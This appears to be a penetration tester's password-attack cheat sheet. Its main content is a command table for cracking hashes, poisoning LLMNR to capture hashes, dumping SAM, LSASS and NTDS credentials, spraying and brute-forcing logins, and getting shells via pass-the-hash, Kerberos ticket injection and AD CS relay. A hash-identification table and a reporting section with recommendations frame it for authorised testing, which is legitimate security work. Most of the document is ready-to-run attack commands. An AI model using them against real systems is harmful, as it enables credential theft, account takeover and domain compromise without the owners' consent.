πŸ›‘οΈ Methodology Checklist

  • Identify hash type before cracking: hashid [HASH] or Hashcat example hashes
  • John crack: john --wordlist=[WORDLIST] [HASH_FILE]
  • Hashcat crack: hashcat -m [MODE] [HASH_FILE] [WORDLIST]
  • Custom rules: john --rules=[RULE] --wordlist=[WORDLIST] [HASH_FILE]
  • Network spray: check policy β†’ spray with NXC/Kerbrute
  • Protected file: convert with zip2john/keepass2john then crack
  • Archive: zip2john, rar2john β†’ John
  • Document all cracked credentials with hash and method used

🎯 Operational Context

Use when: Quick reference for password attack tool selection β€” match attack type to tool and command. Think Dumber First: Order of operations: default creds β†’ credential stuffing (if breach data available) β†’ spray (1 pass per 30 min) β†’ targeted brute. Never skip to full brute force without trying the targeted approaches first. Skip when: N/A β€” reference document.


⚑ Tactical Cheatsheet

CommandTactical Outcome
hashid -j [HASH]Identify hash type + John format flag
hashid -m [HASH]Identify hash type + Hashcat mode ID
hashcat --help | grep -i "[PROTOCOL]"Search Hashcat modes by name
sudo tcpdump -i [IFACE] -v -w capture.pcapCapture network traffic to file
sudo tcpdump -i [IFACE] -A | grep -i "pass" --color=autoLive traffic grep for credentials
sudo tcpdump -i [IFACE] port 21 or port 23 or port 80 -w capture.pcapCapture only cleartext protocol ports
netsh trace start capture=yes tracefile=C:\trace.etlWindows: start network capture
netsh trace stopWindows: stop network capture
sudo responder -I [IFACE] -vLLMNR/NBT-NS/mDNS poisoning to capture hashes
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy YWindows-side hash poisoning (PowerShell)
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.ymlHunt credentials in Windows files
for l in $(echo ".conf .config .cnf"); do find / -name "*$l" 2>/dev/null | grep -v "lib|fonts|share|core"; doneHunt config files in Linux
C:\Temp\lazagne.exe allWindows: dump all stored credentials
sudo python2.7 laZagne.py allLinux: dump all stored credentials
sudo python3 mimipenguin.pyLinux: dump cleartext creds from memory
python3 firefox_decrypt.pyDecrypt Firefox saved credentials
netexec smb [TARGET_IP] -u [USER] -p [PASS] --sharesList SMB shares with valid credentials
netexec smb [TARGET_IP] -u [USER] -p [PASS] --spider [SHARE] --content --pattern "passw"Spider share for credential keywords
Snaffler.exe -sAuto-hunt sensitive files across accessible shares
netexec smb [SUBNET]/24 -u [USER_LIST] -p '[PASS]'Password spray across subnet
hydra -C [CRED_LIST] ssh://[TARGET_IP]Credential stuffing (-C = user:pass format)
netexec winrm [TARGET_IP] -u [USER_LIST] -p [PASS_LIST]WinRM spray β€” Pwn3d! = admin access
hydra -L [USER_LIST] -P [PASS_LIST] rdp://[TARGET_IP] -t 4 -WRDP brute-force (low thread count)
python3 ssh2john.py [KEY] > ssh.hash && john --wordlist=rockyou.txt ssh.hashSSH key hash extraction + crack
zip2john [FILE].zip > zip.hash && john --wordlist=rockyou.txt zip.hashZIP hash extraction + crack
bitlocker2john -i [FILE].vhd | grep "bitlocker\$0" > bl.hash && hashcat -m 22100 bl.hash rockyou.txtBitLocker extraction + crack
hashcat -a 0 -m [ID] [HASH] rockyou.txt -r best64.ruleDictionary + best64 rules
hashcat -a 3 -m [ID] [HASH] '?u?l?l?l?l?d?s'Mask attack (known pattern)
cewl [URL] -d 4 -m 6 --lowercase -w wordlist.txtGenerate targeted wordlist from website
reg.exe save hklm\sam C:\sam.save && reg.exe save hklm\system C:\system.save && reg.exe save hklm\security C:\security.saveDump registry hives on target
python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCALExtract hashes from hive files offline
netexec smb [TARGET_IP] --local-auth -u [USER] -p [PASS] --samRemote SAM dump
netexec smb [TARGET_IP] --local-auth -u [USER] -p [PASS] --lsaRemote LSA secrets dump
rundll32 comsvcs.dll, MiniDump [PID] C:\lsass.dmp fullLSASS memory dump (elevated)
pypykatz lsa minidump lsass.dmpParse LSASS dump for all credential types
netexec smb [DC_IP] -u [USER] -p [PASS] -M ntdsutilAutomated NTDS.dit dump
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCALDecrypt domain hashes from NTDS files
impacket-psexec [USER]@[TARGET_IP] -hashes :[NT_HASH]PtH shell via impacket
evil-winrm -i [TARGET_IP] -u [USER] -H [NT_HASH]PtH WinRM shell
Rubeus.exe asktgt /domain:[DOMAIN] /user:[USER] /rc4:[NT_HASH] /pttOverPass-the-Hash β€” request + inject TGT
Rubeus.exe ptt /ticket:[FILE].kirbiInject Kerberos ticket into session
export KRB5CCNAME=[FILE].ccache && klistLinux: activate stolen Kerberos ticket
impacket-ticketConverter ticket.ccache ticket.kirbiConvert ticket between Linux/Windows formats
unshadow passwd.bak shadow.bak > hashes.txt && hashcat -m 1800 hashes.txt rockyou.txtLinux: unshadow + crack SHA-512 hashes
kinit [USER]@[DOMAIN] -k -t [FILE].keytabLinux: impersonate user via keytab
impacket-ntlmrelayx -t http://[CA_IP]/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthenticationAD CS relay (ESC8) to mint DC certificate
python3 gettgtpkinit.py -cert-pfx [FILE].pfx -dc-ip [DC_IP] [DOMAIN]/[USER] /tmp/ticket.ccacheConvert .pfx cert to Kerberos TGT
pywhisker --dc-ip [DC_IP] -d [DOMAIN] -u [USER] -p [PASS] --target [TARGET] --action addShadow credentials injection

πŸ”¬ Deep Dive & Workflow

Decision Tree β€” What to Attack First

Have a shell?
β”œβ”€ Local admin β†’ SAM/LSASS/NTDS dump β†’ crack or PtH
β”œβ”€ Domain user β†’ credential hunting (shares, files, history)
└─ Limited user β†’ credential hunting + privesc first

Have hashes?
β”œβ”€ NT hash β†’ PtH directly (no crack needed)
β”œβ”€ Kerberos ticket β†’ PtT
└─ Need plaintext β†’ crack with Hashcat/John

On the network?
β”œβ”€ Passive β†’ tcpdump, Wireshark filters
β”œβ”€ Active poisoning β†’ Responder (LLMNR/NBT-NS)
└─ Share hunting β†’ Snaffler, NetExec spider, MANSPIDER

Identify a Hash on Sight

hashid/haiti/hashcat --identify guess from regex and are routinely wrong on ambiguous formats (a bare 32-hex string is NTLM or raw-MD5 or half-LM β€” the tool can’t know, but where you got it can). Learn to read the hash yourself; the tool is a second opinion, not the answer.

The two patterns that decode most hashes:

  • $id$... β€” a Unix crypt/structured hash. The id names the algorithm: $1$=md5crypt, $5$=sha256crypt, $6$=sha512crypt, $y$=yescrypt, $2a$/$2b$/$2y$=bcrypt (the two digits after are the cost), $krb5tgs$/$krb5asrep$=Kerberos, $keepass$/$office$/$7z$=that file format.
  • bare hex, no $ β€” a raw/Windows hash; length is the tell: 16 hex = LM half, 32 = NTLM/MD5, 40 = SHA1.
HashTell β€” recognise on sightModeWhere found
NT (NTLM)32 hex, no prefix1000SAM, LSASS, NTDS (user:RID:LM:NT:::)
Raw MD532 hex, no prefix (context says web/DB, not Windows)0app DBs, params
Raw SHA140 hex, no prefix100app DBs
LM32 hex; aad3b435b51404ee... = empty half3000legacy SAM
NetNTLMv2user::DOMAIN: + two long blobs, has ::5600Responder / relay capture
NetNTLMv1user::HOST: shorter, single-block5500Responder (downgraded)
DCC2 (MS Cache 2)starts $DCC2$10240#user#2100SECURITY hive
DCC (MS Cache)hash:domain (no $)1100SECURITY hive
Kerberoast TGS (RC4)$krb5tgs$23$*user$realm$...13100GetUserSPNs -request
Kerberoast TGS (AES256)$krb5tgs$18$...19700GetUserSPNs (AES account)
AS-REP roast$krb5asrep$23$user@domain18200GetNPUsers (no-preauth)
md5crypt$1$salt$...500old Linux shadow
sha256crypt$5$...7400Linux shadow
sha512crypt$6$...1800Linux shadow (common)
yescrypt$y$...no hashcat mode β†’ Johnmodern Debian/Ubuntu/Kali shadow
bcrypt$2a$/$2b$/$2y$NN$... (NN = cost)3200web app DBs
KeePass$keepass$*1*...13400.kdbx via keepass2john
MS Office 2013$office$*2013*...9600docs via office2john
7-Zip$7z$0$...11600archives via 7z2john
BitLocker$bitlocker$...22100VHD/disk via bitlocker2john

Gotcha: yescrypt ($y$, the default on current Debian/Ubuntu/Kali) has no hashcat mode β€” crack it with John the Ripper jumbo, not hashcat. (18200 is AS-REP, a common mislabel.)


πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
Unsure which cracker to useMultiple optionsUse hashcat for GPU cracking; john for CPU/format-auto; not both on same hash
Spray lockout triggeredObservation window wrongVerify policy with --pass-pol first; lockout observation window resets after window expires, not per attempt
Default creds list incompleteGeneric list usedUse service-specific defaults: seclists/Passwords/Default-Credentials/ has per-service lists
Hash mode unknownHash identifier neededUse: hashcat --identify hash.txt or hash-identifier or haiti hash
Attack too slowCPU/GPU bottleneckHashcat GPU required for bcrypt; john β€”fork=[CORES] for CPU parallelism; prioritize SHA1/MD5 first

πŸ“ Reporting Trigger

Finding Title: Password Attack Methodology Applied Across All Identified Services Impact: Systematic password attack methodology covering default credentials, spraying, brute force, and hash cracking provides multiple pathways to valid credentials across all exposed services and user accounts. Root Cause: Absence of MFA, weak password policies, and no anomalous authentication alerting permits methodical password attacks without detection. Recommendation: Implement MFA across all services. Enforce strong password policy (12+ chars, no dictionary words). Alert on failed authentication patterns consistent with spraying. Implement credential breach monitoring.